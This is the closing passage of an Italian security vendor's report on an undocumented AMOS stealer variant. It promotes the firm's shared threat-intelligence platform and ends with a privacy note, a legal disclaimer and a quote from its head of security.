Quando nel nostro SOC scatta un alert, l'orologio non inizia a correre solo per il cliente colpito, ma per ogni organizzazione sotto lo scudo di glueckkanja. Questa indagine su una variante di AMOS non documentata rende evidente cosa significhi l'Intelligence Gap nella pratica: una finestra temporale rischiosa, in cui i vendor tradizionali sono ciechi perché non hanno ancora visto la minaccia.

È qui che la nostra Shared Threat Intelligence Platform proprietaria dimostra il suo valore, sviluppata in esclusiva per i clienti glueckkanja CSOC. Non aspettiamo gli update del settore, li generiamo. Mentre i nostri analisti smontavano ancora gli ultimi layer dell'assembly ARM64, la nostra Automated Orchestration Engine stava già distribuendo gli indicatori estratti su tutto il nostro ecosistema. Ne risulta una immunità di gregge: ciò che viene scoperto su un singolo endpoint diventa nel giro di minuti una minaccia bloccata per ogni organizzazione sotto la nostra protezione.

La security reattiva non funziona contro minacce che scivolano di proposito attraverso le crepe dei meccanismi di difesa convenzionali. La risposta sta nel combinare l'expertise umana con un'architettura che mette quella conoscenza subito in campo e su scala. Grazie al nostro modello di Shared Intelligence, il vantaggio temporale dell'attaccante si ribalta: i nostri clienti sono protetti prima ancora che la minaccia venga riconosciuta dal settore.

Nota sulla privacy

Le informazioni identificative sono state anonimizzate in questa pubblicazione. Dettagli tecnici specifici, indicatori e timestamp possono essere stati leggermente modificati per garantire la protezione continua dell'ambiente colpito, senza compromettere l'integrità tecnica dell'analisi.

Le analisi tecniche e gli Indicators of Compromise (IOC) contenuti in questo report hanno finalità puramente informative e formative. Vengono forniti al meglio delle nostre conoscenze. glueckkanja AG non fornisce garanzie esplicite o implicite in merito a completezza o accuratezza e non risponde di danni, perdite o incidenti di sicurezza derivanti dall'uso delle informazioni, delle regole o delle signature qui condivise. Consigliamo di validare tutti gli indicatori e le regole in un ambiente controllato prima di metterli in esercizio.

Gli indicatori e le tecniche descritte possono sovrapporsi a famiglie di malware note e non sono attribuibili in via esclusiva a una singola campagna.

Contattaci

Vuoi sapere come la nostra Shared Threat Intelligence Platform ti protegge dalle varianti di malware sconosciute prima ancora che il settore ne venga a conoscenza? Contattaci.
Ritratto di Jan Geisbauer, Head of Security di glueckkanja
Il pericolo di questa variante non era la complessità tecnica, per quanto notevole. Il pericolo era la finestra temporale. Senza Shared Threat Intelligence gli altri clienti sarebbero rimasti scoperti per ore, mentre noi eravamo ancora in fase di analisi.
Jan GeisbauerHead of Security

Articoli simili